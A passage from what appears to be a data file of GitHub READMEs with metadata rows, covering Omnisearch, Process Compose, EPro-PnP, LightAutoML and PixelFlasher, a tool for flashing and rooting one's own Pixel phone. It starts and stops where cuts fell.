> ๐ Winner of the _[2023 Gems of the Year](https://obsidian.md/blog/2023-goty-winners/)_ in the "Existing plugin" category ๐
---
**Omnisearch** is a search engine that "_just works_".
It always instantly shows you the most relevant results, thanks to its smart weighting algorithm.
Under the hood, it uses the excellent [MiniSearch](https://github.com/lucaong/minisearch) library. This free plugin is totally unrelated to the omnisearch.ai paid product.
## Documentation
https://publish.obsidian.md/omnisearch/Index
## Installation
- Omnisearch is available on [the official Community Plugins repository](https://obsidian.md/plugins?search=Omnisearch).
- Beta releases can be installed through [BRAT](https://github.com/TfTHacker/obsidian42-brat). **Be advised that those
versions can be buggy and break things.**
You can check the [CHANGELOG](./CHANGELOG.md) for more information on the different versions.
## Features
> Omnisearch's first goal is to _locate_ files instantly. You can see it as a _Quick Switcher_ on steroids.
- Find your **๐notes, ๐PDFs, and ๐ผimages** faster than ever
- Images and PDF indexing is available
through [Text Extractor](https://github.com/scambier/obsidian-text-extractor)
- Automatic document scoring using
the [BM25 algorithm](https://github.com/lucaong/minisearch/issues/129#issuecomment-1046257399)
- The relevance of a document against a query depends on the number of times the query terms appear in the document,
its filename, and its headings
- Keyboard first: you never have to use your mouse
- Workflow similar to the "Quick Switcher" core plugin
- Opt-in local HTTP server to query Omnisearch from outside of Obsidian
- Resistance to typos
- Switch between Vault and In-file search to quickly skim multiple results in a single note
- Supports `"expressions in quotes"` and `-exclusions`
- Filters file types with `.jpg` or `.md`
- Directly Insert a `[[link]]` from the search results
- Supports Vim navigation keys
**Note:** support of Chinese depends
on [this additional plugin](https://github.com/aidenlx/cm-chs-patch). Please read its documentation for more
information.
## Projects that use Omnisearch
_Submit a PR to add your own project!_
- [Omnisearch Companion](https://github.com/ALegendsTale/omnisearch-companion), an extension for your browser ([Firefox](https://addons.mozilla.org/en-US/firefox/addon/omnisearch-companion/), [Chrome](https://chromewebstore.google.com/detail/omnisearch-companion/kcjcnnlpfbilodfnnkpioijobpjhokkd))
- [Actions for Obsidian](https://actions.work/actions-for-obsidian)
- [Userscripts](https://publish.obsidian.md/omnisearch/Inject+Omnisearch+results+into+your+search+engine) to inject Omnisearch into your favorite web search engine
## LICENSE
Omnisearch is licensed under [GPL-3](https://tldrlegal.com/license/gnu-general-public-license-v3-(gpl-3)).
## Thanks
To all people who donate through [Ko-Fi](https://ko-fi.com/scambier)
or [Github Sponsors](https://github.com/sponsors/scambier) โค
| A search engine that "just works" for Obsidian. Supports OCR and PDF indexing. | minisearch,obsidian,obsidian-md,obsidian-plugin,search,ocr,pdf | 135 | 17 | 38 | 767 | 44 | 5 | 1 |
F1bonacc1/process-compose | ## Process Compose
[](https://go.dev/) [](https://GitHub.com/F1bonacc1/process-compose/graphs/commit-activity) [](http://makeapullrequest.com)  []() 
Process Compose is a simple and flexible scheduler and orchestrator to manage non-containerized applications.
**Why?** Because sometimes you just don't want to deal with docker files, volume definitions, networks and docker registries.
Since it's written in Go, Process Compose is a single binary file and has no other dependencies.
Once [installed](https://f1bonacc1.github.io/process-compose/installation/), you just need to describe your workflow using a simple [YAML](http://yaml.org/) schema in a file called `process-compose.yaml`:
```yaml
version: "0.5"
processes:
hello:
command: echo 'Hello World'
pc:
command: echo 'From Process Compose'
depends_on:
hello:
condition: process_completed
```
And start it by running `process-compose` from your terminal.
Check the [Documentation](https://f1bonacc1.github.io/process-compose/launcher/) for more advanced use cases.
#### Features:
- Processes execution (in parallel or/and serially)
- Processes dependencies and startup order
- Process recovery policies
- Manual process [re]start
- Processes arguments `bash` or `zsh` style (or define your own shell)
- Per process and global environment variables
- Per process or global (single file) logs
- Health checks (liveness and readiness)
- Terminal User Interface (TUI) or CLI modes
- Forking (services or daemons) processes
- REST API (OpenAPI a.k.a Swagger)
- Logs caching
- Functions as both server and client
- Configurable shortcuts
- Merge Configuration Files
- Namespaces
- Run Multiple Replicas of a Process
- Run a Foreground Process
- Themes Support
It is heavily inspired by [docker-compose](https://github.com/docker/compose), but without the need for containers. The configuration syntax tries to follow the docker-compose specifications, with a few minor additions and lots of subtractions.
<img src="./imgs/tui.png" alt="TUI" style="zoom:67%;" />
## Get Process Compose
[Installation Instructions](https://f1bonacc1.github.io/process-compose/installation/)
## Documentation
[Quick Start](https://f1bonacc1.github.io/process-compose/intro/)
[Documentation](https://f1bonacc1.github.io/process-compose/launcher/)
## How to Contribute
1. Fork it
2. Create your feature branch (git checkout -b my-new-feature)
3. Commit your changes (git commit -am 'Add some feature')
4. Push to the branch (git push origin my-new-feature)
5. Create new Pull Request
English is not my native language, so PRs correcting grammar or spelling are welcome and appreciated.
### Consider supporting the project โค๏ธ
##### Github (preferred)
https://github.com/sponsors/F1bonacc1
##### Bitcoin
<img src="./imgs/btc.wallet.qr.png" style="zoom:50%;" alt="3QjRfBzwQASQfypATTwa6gxwUB65CX1jfX"/>
3QjRfBzwQASQfypATTwa6gxwUB65CX1jfX
Thank **You**!
| Process Compose is a simple and flexible scheduler and orchestrator to manage non-containerized applications. | go,golang,open-source,orchestration,orchestrator,processes,tui,workflows,docker | 45 | 14 | 45 | 393 | 16 | 8 | 3 |
tjiiv-cprg/EPro-PnP | # EPro-PnP
๐ข **NEWS:** We have released [EPro-PnP-v2](https://github.com/tjiiv-cprg/EPro-PnP-v2). A new updated preprint can be found on [arXiv](https://arxiv.org/abs/2303.12787).
**EPro-PnP: Generalized End-to-End Probabilistic Perspective-n-Points for Monocular Object Pose Estimation**
<br>
In CVPR 2022 (Oral, **Best Student Paper**). [[paper](https://arxiv.org/pdf/2203.13254.pdf)][[video](https://www.youtube.com/watch?v=TonBodQ6EUU)]
<br>
[Hansheng Chen](https://lakonik.github.io/)\*<sup>1,2</sup>, [Pichao Wang](https://wangpichao.github.io/)โ <sup>2</sup>, [Fan Wang](https://scholar.google.com/citations?user=WCRGTHsAAAAJ&hl=en)<sup>2</sup>, [Wei Tian](https://scholar.google.com/citations?user=aYKQn88AAAAJ&hl=en)โ <sup>1</sup>, [Lu Xiong](https://www.researchgate.net/scientific-contributions/Lu-Xiong-71708073)<sup>1</sup>, [Hao Li](https://scholar.google.com/citations?user=pHN-QIwAAAAJ&hl=zh-CN)<sup>2</sup>
<sup>1</sup>Tongji University, <sup>2</sup>Alibaba Group
<br>
\*Part of work done during an internship at Alibaba Group.
<br>
โ Corresponding Authors: Pichao Wang, Wei Tian.
## Introduction
EPro-PnP is a probabilistic Perspective-n-Points (PnP) layer for end-to-end 6DoF pose estimation networks. Broadly speaking, it is essentially a continuous counterpart of the widely used categorical Softmax layer, and is theoretically generalizable to other learning models with nested <!-- $\mathrm{arg\,min}$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?%5Cmathrm%7Barg%5C%2Cmin%7D"> optimization.
<img src="intro.png" width="500" alt=""/>
Given the layer input: an <!-- $N$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?N">-point correspondence set <!-- $X = \left\{x^\text{3D}_i,x^\text{2D}_i,w^\text{2D}_i\,\middle|\,i=1\cdots N\right\}$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?X%20%3D%20%5Cleft%5C%7Bx%5E%5Ctext%7B3D%7D_i%2Cx%5E%5Ctext%7B2D%7D_i%2Cw%5E%5Ctext%7B2D%7D_i%5C%2C%5Cmiddle%7C%5C%2Ci%3D1%5Ccdots%20N%5Cright%5C%7D"> consisting of 3D object coordinates <!-- $x^\text{3D}_i \in \mathbb{R}^3$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?x%5E%5Ctext%7B3D%7D_i%20%5Cin%20%5Cmathbb%7BR%7D%5E3">, 2D image coordinates <!-- $x^\text{2D}_i \in \mathbb{R}^2$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?x%5E%5Ctext%7B2D%7D_i%20%5Cin%20%5Cmathbb%7BR%7D%5E2">, and 2D weights <!-- $w^\text{2D}_i \in \mathbb{R}^2_+ $ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?w%5E%5Ctext%7B2D%7D_i%20%5Cin%20%5Cmathbb%7BR%7D%5E2_%2B">, a conventional PnP solver searches for an optimal pose <!-- $y^\ast$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?y%5E%5Cast"> (rigid transformation in SE(3)) that minimizes the weighted reprojection error. Previous work tries to backpropagate through the PnP operation, yet <!-- $y^\ast$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?y%5E%5Cast"> is inherently non-differentiable due to the inner <!-- $\mathrm{arg\,min}$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?%5Cmathrm%7Barg%5C%2Cmin%7D"> operation. This leads to convergence issue if all the components in <!-- $X$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?X"> must be learned by the network.
In contrast, our probabilistic PnP layer outputs a posterior distribution of pose, whose probability density <!-- $p(y|X)$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?p(y%7CX)"> can be derived for proper backpropagation. The distribution is approximated via Monte Carlo sampling. With EPro-PnP, the correspondences <!-- $X$ --> <img style="transform: translateY(0.1em); background: white;" src="https://latex.codecogs.com/svg.latex?X"> can be learned from scratch altogether by minimizing the KL divergence between the predicted and target
pose distribution.
## Models
### V1 models in this repository
#### **[EPro-PnP-6DoF](EPro-PnP-6DoF) for 6DoF pose estimation**<br>
<img src="EPro-PnP-6DoF/viz.gif" width="500" alt=""/>
#### **[EPro-PnP-Det](EPro-PnP-Det) for 3D object detection**
<img src="EPro-PnP-Det/resources/viz.gif" width="500" alt=""/>
### New V2 models
#### **[EPro-PnP-Det v2](https://github.com/tjiiv-cprg/EPro-PnP-v2/tree/main/EPro-PnP-Det_v2): state-of-the-art monocular 3D object detector**
Main differences to [v1b](EPro-PnP-Det):
- Use GaussianMixtureNLLLoss as auxiliary coordinate regression loss
- Add auxiliary depth and bbox losses
At the time of submission (Aug 30, 2022), EPro-PnP-Det v2 **ranks 1st** among all camera-based single-frame object detection models on the [official nuScenes benchmark](https://www.nuscenes.org/object-detection?externalData=no&mapData=no&modalities=Camera) (test split, without extra data).
| Method | TTA | Backbone | NDS | mAP | mATE | mASE | mAOE | mAVE | mAAE | Schedule |
|:---------------------------------------------------------|:---:|:---------|:---------:|:---------:|:---------:|:---------:|:---------:|:---------:|:---------:|:--------:|
| EPro-PnP-Det v2 (ours) | Y | R101 | **0.490** | 0.423 | 0.547 | **0.236** | **0.302** | 1.071 | 0.123 | 12 ep |
| [PETR](https://github.com/megvii-research/petr) | N | Swin-B | 0.483 | **0.445** | 0.627 | 0.249 | 0.449 | 0.927 | 0.141 | 24 ep |
| [BEVDet-Base](https://github.com/HuangJunJie2017/BEVDet) | Y | Swin-B | 0.482 | 0.422 | **0.529** | **0.236** | 0.395 | 0.979 | 0.152 | 20 ep |
| EPro-PnP-Det v2 (ours) | N | R101 | 0.481 | 0.409 | 0.559 | 0.239 | 0.325 | 1.090 | **0.115** | 12 ep |
| [PolarFormer](https://github.com/fudan-zvg/PolarFormer) | N | R101 | 0.470 | 0.415 | 0.657 | 0.263 | 0.405 | **0.911** | 0.139 | 24 ep |
| [BEVFormer-S](https://github.com/zhiqi-li/BEVFormer) | N | R101 | 0.462 | 0.409 | 0.650 | 0.261 | 0.439 | 0.925 | 0.147 | 24 ep |
| [PETR](https://github.com/megvii-research/petr) | N | R101 | 0.455 | 0.391 | 0.647 | 0.251 | 0.433 | 0.933 | 0.143 | 24 ep |
| [EPro-PnP-Det v1](EPro-PnP-Det_v2) | Y | R101 | 0.453 | 0.373 | 0.605 | 0.243 | 0.359 | 1.067 | 0.124 | 12 ep |
| [PGD](https://github.com/open-mmlab/mmdetection3d) | Y | R101 | 0.448 | 0.386 | 0.626 | 0.245 | 0.451 | 1.509 | 0.127 | 24+24 ep |
| [FCOS3D](https://github.com/open-mmlab/mmdetection3d) | Y | R101 | 0.428 | 0.358 | 0.690 | 0.249 | 0.452 | 1.434 | 0.124 | - |
#### **[EPro-PnP-6DoF v2](https://github.com/tjiiv-cprg/EPro-PnP-v2/tree/main/EPro-PnP-6DoF_v2) for 6DoF pose estimation**<br>
Main differences to [v1b](EPro-PnP-6DoF):
- Fix w2d scale handling **(very important)**
- Improve network initialization
- Adjust loss weights
With these updates the v2 model can be trained **without 3D models** to achieve better performance (ADD 0.1d = 93.83) than [GDRNet](https://github.com/THU-DA-6D-Pose-Group/GDR-Net) (ADD 0.1d = 93.6), unleashing the full potential of simple end-to-end training.
## Use EPro-PnP in Your Own Model
We provide a [demo](demo/fit_identity.ipynb) on the usage of the EPro-PnP layer.
## Citation
If you find this project useful in your research, please consider citing:
```
@inproceedings{epropnp,
author = {Hansheng Chen and Pichao Wang and Fan Wang and Wei Tian and Lu Xiong and Hao Li,
title = {EPro-PnP: Generalized End-to-End Probabilistic Perspective-n-Points for Monocular Object Pose Estimation},
booktitle = {IEEE Conference on Computer Vision and Pattern Recognition (CVPR)},
year = {2022}
}
```
| [CVPR 2022 Oral, Best Student Paper] EPro-PnP: Generalized End-to-End Probabilistic Perspective-n-Points for Monocular Object Pose Estimation | pose-estimation,6dof,3d-object-detection,perspective-n-point,pytorch,cvpr,monocular,levenberg-marquardt,gauss-newton | 0 | 1 | 0 | 24 | 51 | 1 | 0 |
sb-ai-lab/LightAutoML | <img src=https://github.com/AILab-MLTools/LightAutoML/raw/master/imgs/LightAutoML_logo_big.png />
# LightAutoML - automatic model creation framework
[](https://t.me/lightautoml)
[](https://github.com/psf/black)
LightAutoML (LAMA) is an AutoML framework which provides automatic model creation for the following tasks:
- binary classification
- multiclass classification
- regression
Current version of the package handles datasets that have independent samples in each row. I.e. **each row is an object with its specific features and target**.
Multitable datasets and sequences are a work in progress :)
**Note**: we use [`AutoWoE`](https://pypi.org/project/autowoe) library to automatically create interpretable models.
**Authors**: [Alexander Ryzhkov](https://kaggle.com/alexryzhkov), [Anton Vakhrushev](https://kaggle.com/btbpanda), [Dmitry Simakov](https://kaggle.com/simakov), Rinchin Damdinov, Vasilii Bunakov, Alexander Kirilin, Pavel Shvets.
**Documentation** of LightAutoML is available [here](https://lightautoml.readthedocs.io/), you can also [generate](https://github.com/AILab-MLTools/LightAutoML/blob/master/.github/CONTRIBUTING.md#building-documentation) it.
# (New features) GPU and Spark pipelines
Full GPU and Spark pipelines for LightAutoML currently available for developers testing (still in progress). The code and tutorials for:
- GPU pipeline is [available here](https://github.com/Rishat-skoltech/LightAutoML_GPU)
- Spark pipeline is [available here](https://github.com/sb-ai-lab/SLAMA)
<a name="toc"></a>
# Table of Contents
* [Installation LightAutoML from PyPI](#installation)
* [Quick tour](#quicktour)
* [Resources](#examples)
* [Contributing to LightAutoML](#contributing)
* [License](#apache)
* [For developers](#developers)
* [Support and feature requests](#support)
<a name="installation"></a>
# Installation
To install LAMA framework on your machine from PyPI, execute following commands:
```bash
# Install base functionality:
pip install -U lightautoml
# For partial installation use corresponding option.
# Extra dependecies: [nlp, cv, report]
# Or you can use 'all' to install everything
pip install -U lightautoml[nlp]
```
Additionally, run following commands to enable pdf report generation:
```bash
# MacOS
brew install cairo pango gdk-pixbuf libffi
# Debian / Ubuntu
sudo apt-get install build-essential libcairo2 libpango-1.0-0 libpangocairo-1.0-0 libgdk-pixbuf2.0-0 libffi-dev shared-mime-info
# Fedora
sudo yum install redhat-rpm-config libffi-devel cairo pango gdk-pixbuf2
# Windows
# follow this tutorial https://weasyprint.readthedocs.io/en/stable/install.html#windows
```
[Back to top](#toc)
<a name="quicktour"></a>
# Quick tour
Let's solve the popular Kaggle Titanic competition below. There are two main ways to solve machine learning problems using LightAutoML:
* Use ready preset for tabular data:
```python
import pandas as pd
from sklearn.metrics import f1_score
from lightautoml.automl.presets.tabular_presets import TabularAutoML
from lightautoml.tasks import Task
df_train = pd.read_csv('../input/titanic/train.csv')
df_test = pd.read_csv('../input/titanic/test.csv')
automl = TabularAutoML(
task = Task(
name = 'binary',
metric = lambda y_true, y_pred: f1_score(y_true, (y_pred > 0.5)*1))
)
oof_pred = automl.fit_predict(
df_train,
roles = {'target': 'Survived', 'drop': ['PassengerId']}
)
test_pred = automl.predict(df_test)
pd.DataFrame({
'PassengerId':df_test.PassengerId,
'Survived': (test_pred.data[:, 0] > 0.5)*1
}).to_csv('submit.csv', index = False)
```
LighAutoML framework has a lot of ready-to-use parts and extensive customization options, to learn more check out the [resources](#Resources) section.
[Back to top](#toc)
<a name="examples"></a>
# Resources
### Kaggle kernel examples of LightAutoML usage:
- [Tabular Playground Series April 2021 competition solution](https://www.kaggle.com/alexryzhkov/n3-tps-april-21-lightautoml-starter)
- [Titanic competition solution (80% accuracy)](https://www.kaggle.com/alexryzhkov/lightautoml-titanic-love)
- [Titanic **12-code-lines** competition solution (78% accuracy)](https://www.kaggle.com/alexryzhkov/lightautoml-extreme-short-titanic-solution)
- [House prices competition solution](https://www.kaggle.com/alexryzhkov/lightautoml-houseprices-love)
- [Natural Language Processing with Disaster Tweets solution](https://www.kaggle.com/alexryzhkov/lightautoml-starter-nlp)
- [Tabular Playground Series March 2021 competition solution](https://www.kaggle.com/alexryzhkov/lightautoml-starter-for-tabulardatamarch)
- [Tabular Playground Series February 2021 competition solution](https://www.kaggle.com/alexryzhkov/lightautoml-tabulardata-love)
- [Interpretable WhiteBox solution](https://www.kaggle.com/simakov/lama-whitebox-preset-example)
- [Custom ML pipeline elements inside existing ones](https://www.kaggle.com/simakov/lama-custom-automl-pipeline-example)
- [Custom ML pipeline elements inside existing ones](https://www.kaggle.com/simakov/lama-custom-automl-pipeline-example)
- [Tabular Playground Series November 2022 competition solution with Neural Networks](https://www.kaggle.com/code/mikhailkuz/lightautoml-nn-happiness)
### Google Colab tutorials and [other examples](examples/):
- [`Tutorial_1_basics.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_1_basics.ipynb) - get started with LightAutoML on tabular data.
- [`Tutorial_2_WhiteBox_AutoWoE.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_2_WhiteBox_AutoWoE.ipynb) - creating interpretable models.
- [`Tutorial_3_sql_data_source.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_3_sql_data_source.ipynb) - shows how to use LightAutoML presets (both standalone and time utilized variants) for solving ML tasks on tabular data from SQL data base instead of CSV.
- [`Tutorial_4_NLP_Interpretation.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_4_NLP_Interpretation.ipynb) - example of using TabularNLPAutoML preset, LimeTextExplainer.
- [`Tutorial_5_uplift.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_5_uplift.ipynb) - shows how to use LightAutoML for a uplift-modeling task.
- [`Tutorial_6_custom_pipeline.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_6_custom_pipeline.ipynb) - shows how to create your own pipeline from specified blocks: pipelines for feature generation and feature selection, ML algorithms, hyperparameter optimization etc.
- [`Tutorial_7_ICE_and_PDP_interpretation.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_7_ICE_and_PDP_interpretation.ipynb) - shows how to obtain local and global interpretation of model results using ICE and PDP approaches.
- [`Tutorial_8_CV_preset.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_8_CV_preset.ipynb) - example of using TabularCVAutoML preset in CV multi-class classification task.
- [`Tutorial_9_neural_networks.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_9_neural_networks.ipynb) - example of using Tabular preset with neural networks.
- [`Tutorial_10_relational_data_with_star_scheme.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_10_relational_data_with_star_scheme.ipynb) - example of using Tabular preset with neural networks.
- [`Tutorial_11_time_series.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_11_time_series.ipynb) - example of using Tabular preset with timeseries data.
- [`Tutorial_12_Matching.ipynb`](https://colab.research.google.com/github/AILab-MLTools/LightAutoML/blob/master/examples/tutorials/Tutorial_12_Matching.ipynb) - example of using addon for matchig.
**Note 1**: for production you have no need to use profiler (which increase work time and memory consomption), so please do not turn it on - it is in off state by default
**Note 2**: to take a look at this report after the run, please comment last line of demo with report deletion command.
### Courses, videos and papers
* **LightAutoML crash courses**:
- (Russian) [AutoML course for OpenDataScience community](https://ods.ai/tracks/automl-course-part1)
* **Video guides**:
- (Russian) [LightAutoML webinar for Sberloga community](https://www.youtube.com/watch?v=ci8uqgWFJGg) ([Alexander Ryzhkov](https://kaggle.com/alexryzhkov), [Dmitry Simakov](https://kaggle.com/simakov))
- (Russian) [LightAutoML hands-on tutorial in Kaggle Kernels](https://www.youtube.com/watch?v=TYu1UG-E9e8) ([Alexander Ryzhkov](https://kaggle.com/alexryzhkov))
- (English) [Automated Machine Learning with LightAutoML: theory and practice](https://www.youtube.com/watch?v=4pbO673B9Oo) ([Alexander Ryzhkov](https://kaggle.com/alexryzhkov))
- (English) [LightAutoML framework general overview, benchmarks and advantages for business](https://vimeo.com/485383651) ([Alexander Ryzhkov](https://kaggle.com/alexryzhkov))
- (English) [LightAutoML practical guide - ML pipeline presets overview](https://vimeo.com/487166940) ([Dmitry Simakov](https://kaggle.com/simakov))
* **Papers**:
- Anton Vakhrushev, Alexander Ryzhkov, Dmitry Simakov, Rinchin Damdinov, Maxim Savchenko, Alexander Tuzhilin ["LightAutoML: AutoML Solution for a Large Financial Services Ecosystem"](https://arxiv.org/pdf/2109.01528.pdf). arXiv:2109.01528, 2021.
* **Articles about LightAutoML**:
- (English) [LightAutoML vs Titanic: 80% accuracy in several lines of code (Medium)](https://alexmryzhkov.medium.com/lightautoml-preset-usage-tutorial-2cce7da6f936)
- (English) [Hands-On Python Guide to LightAutoML โ An Automatic ML Model Creation Framework (Analytic Indian Mag)](https://analyticsindiamag.com/hands-on-python-guide-to-lama-an-automatic-ml-model-creation-framework/?fbclid=IwAR0f0cVgQWaLI60m1IHMD6VZfmKce0ZXxw-O8VRTdRALsKtty8a-ouJex7g)
[Back to top](#toc)
<a name="contributing"></a>
# Contributing to LightAutoML
If you are interested in contributing to LightAutoML, please read the [Contributing Guide](.github/CONTRIBUTING.md) to get started.
[Back to top](#toc)
<a name="apache"></a>
# License
This project is licensed under the Apache License, Version 2.0. See [LICENSE](https://github.com/AILab-MLTools/LightAutoML/blob/master/LICENSE) file for more details.
[Back to top](#toc)
<a name="developers"></a>
# For developers
## Build your own custom pipeline:
```python
import pandas as pd
from sklearn.metrics import f1_score
from lightautoml.automl.presets.tabular_presets import TabularAutoML
from lightautoml.tasks import Task
df_train = pd.read_csv('../input/titanic/train.csv')
df_test = pd.read_csv('../input/titanic/test.csv')
# define that machine learning problem is binary classification
task = Task("binary")
reader = PandasToPandasReader(task, cv=N_FOLDS, random_state=RANDOM_STATE)
# create a feature selector
model0 = BoostLGBM(
default_params={'learning_rate': 0.05, 'num_leaves': 64,
'seed': 42, 'num_threads': N_THREADS}
)
pipe0 = LGBSimpleFeatures()
mbie = ModelBasedImportanceEstimator()
selector = ImportanceCutoffSelector(pipe0, model0, mbie, cutoff=0)
# build first level pipeline for AutoML
pipe = LGBSimpleFeatures()
# stop after 20 iterations or after 30 seconds
params_tuner1 = OptunaTuner(n_trials=20, timeout=30)
model1 = BoostLGBM(
default_params={'learning_rate': 0.05, 'num_leaves': 128,
'seed': 1, 'num_threads': N_THREADS}
)
model2 = BoostLGBM(
default_params={'learning_rate': 0.025, 'num_leaves': 64,
'seed': 2, 'num_threads': N_THREADS}
)
pipeline_lvl1 = MLPipeline([
(model1, params_tuner1),
model2
], pre_selection=selector, features_pipeline=pipe, post_selection=None)
# build second level pipeline for AutoML
pipe1 = LGBSimpleFeatures()
model = BoostLGBM(
default_params={'learning_rate': 0.05, 'num_leaves': 64,
'max_bin': 1024, 'seed': 3, 'num_threads': N_THREADS},
freeze_defaults=True
)
pipeline_lvl2 = MLPipeline([model], pre_selection=None, features_pipeline=pipe1,
post_selection=None)
# build AutoML pipeline
automl = AutoML(reader, [
[pipeline_lvl1],
[pipeline_lvl2],
], skip_conn=False)
# train AutoML and get predictions
oof_pred = automl.fit_predict(df_train, roles = {'target': 'Survived', 'drop': ['PassengerId']})
test_pred = automl.predict(df_test)
pd.DataFrame({
'PassengerId':df_test.PassengerId,
'Survived': (test_pred.data[:, 0] > 0.5)*1
}).to_csv('submit.csv', index = False)
```
[Back to top](#toc)
<a name="support"></a>
# Support and feature requests
Seek prompt advice at [Telegram group](https://t.me/lightautoml).
Open bug reports and feature requests on GitHub [issues](https://github.com/AILab-MLTools/LightAutoML/issues).
| Fast and customizable framework for automatic ML model creation (AutoML) | automl,data-science,machine-learning,python,automated-machine-learning,automatic-machine-learning,automl-algorithms,binary-classification,kaggle,lama | 1 | 15 | 97 | 204 | 28 | 42 | 4 |
badabing2005/PixelFlasher | <img src="/images/icon-dark-128.png" alt="PixelFlasher Icon" align="left" />
<h1> PixelFlasher </h1>
[](https://www.gnu.org/licenses/gpl-3.0) [](https://github.com/badabing2005/PixelFlasher/releases)
## DESCRIPTION
As the name suggests this is an application to flash (update) Pixelโข phones (possibly all Googleโข made phones/tablets, YMMV.)
PixelFlasher at its core is a UI layer (with bells and whistles) on top of adb / fastboot commands, hence many of its features can be used on non Pixel devices as well. (YMMV).
The executable which can be found in [releases section](https://github.com/badabing2005/PixelFlasher/releases) is self contained and does not require Pythonโข to be installed on the system.
The application has two modes, normal mode (basic) and advanced mode (expert).
**Basic mode:** Should suit most users. Some of the features in basic mode are:
- Simple UI interface, click and go. No more command line, no more placing all files in one directory.
- `boot.img` / `init_boot.img` management UI, select the boot / init_boot file to patch and click the patch button.
Fully Automated patching with Magisk (without manual steps) and perform upgrades without losing root.
No more manually extracting files transferring to the phone, patching / re-flashing and doing multiple reboots.
No more setting airplane mode and clearing storage to retain Safetynet / Play Integrity passing.
- Display details of `boot.img` (or `init_boot.img` for Pixel 7 or newer devices).
- SHA1 checksum.
- Origin (file it was extracted from).
- Whether it is patched or not, and if it is patched.
- What version of Magisk was used to patch it.
- On what device it was patched.
- Date of patching.
- The SHA1 of the source boot.img file.
- Option to Live boot from a choice of boot.img or patched image.
- Flash just the boot / init_boot image.
- Choose to keep data or wipe data while flashing (Full OTA flashing always keeps data).
- Ability to flash even if multiple devices are connected to the computer.
- Option to flash to inactive slot (Full OTA always flashes to inactive slot).
- Display information about the phone.
- ID
- Hardware model.
- Device architecture.
- Current installed firmware (build).
- If it is rooted with Magisk.
- Magisk version (Magisk Tools).
- Magisk Manager version (the app).
- List installed Magisk modules.
- Connection mode (Adb | Fastboot | Sideload | Recovery).
- Bootloader version.
- Active slot.
- Android OS API version.
- Convenient quick links to download Android platform tools or device firmware.
- And a lot more...
- Magisk Manager installation UI, [screenshot](images/Magisk-Installer.png). Supported versions:
- stable (official)
- beta (official)
- canary (official)
- debug (official)
- delta
- special builds that disable modules (used to recover from bootloops due to bad module(s) when safe mode does not work).
- Magisk Backup Manager, [screenshot](images/Magisk-Backup-Manager.png).
- List all Magisk backups currently on the device.
- Highlight the one that is backup of the current installed version.
- Delete backups.
- Manually add backup from PC.
- Auto Backup: PixelFlasher figures out what needs to be backed up, and if it finds it on the PC, it creates the backup.
- Magisk settings management, [screenshot](images/magisk-settings.png):
- Enable / disable Magisk modules, this comes in handy to disable suspect modules before an upgrade.
- Install Magisk module.
- Enable / disable Zygisk.
- Enable / disable Magisk denylist.
- Add / remove application to Magisk denylist (through PixelFlasher's App Manger).
- Grant / deny / SU permissions to an app, with control of (through PixelFlasher's App Manger):
- Enable / disable notifications
- Enable / disable logging
- Grant until (Forever, 10 min, 20 min, 30 min, 60 min)
- Revoke SU permissions
- Display Android Platform Tools (SDK) version and warn / block if the version is old.
- Install APK (an app) file from the computer onto the device.
- Wireless Manager, to wirelessly connect to adb debug or adb wireless with pairing support.
- Advanced features are hidden to keep the interface simple and easy to follow.
- Easily open ADB shell to the device.
- Support for Genymotion Scrcpy to mirror Android devices (video and audio) via USB or over TCP/IP, and allows to control the device with the keyboard and the mouse of the computer.
- A lot of checks and validations for smooth operation with quite verbose console output to inform about every step of the operation.
- Automatic check for program updates.
- Package (Application) Manager, [screenshot](images/Package-Manager.png):
- Disable (Freeze)
- Enable
- Uninstall
- Install APK
- Download APK
- Multi-Select
- Show Package Details.
- Add app to Magisk denylist.
- Control app's superuser permissions, [screenshot](images/su-permissions.png).
**Expert mode:** (should only be turned on by experienced users). In addition to the basic features, you get:
- The ability to flash custom ROM (with or without patching `boot` / `init_boot`)
- Option to flash to both slots.
- Options to disable verity and or verification.
- Ability to change the active slot.
- Ability to live boot to custom `boot` / `init_boot` (temporary root).
- Ability to boot to recovery, fastbootd, safe mode, download mode and sideload.
- Ability to flash custom image: boot, recovery, radio, kernel, ...
- Ability to sideload an image.
- Lock / Unlock bootloader.
- Option to gain temporary root (good for testing or checking things out).
- SOS Disable Magisk modules to get out of bootloop (experimental).
- Force option when flashing.
- Option to skip rebooting.
- Option to wipe.
- Partition Manager:
- Erase single or multi partitions.
- Dump / create backup of single or multi partitions and save to PC.
## Prerequisites
- [Android SDK Platform-Tools](https://developer.android.com/studio/releases/platform-tools.html).
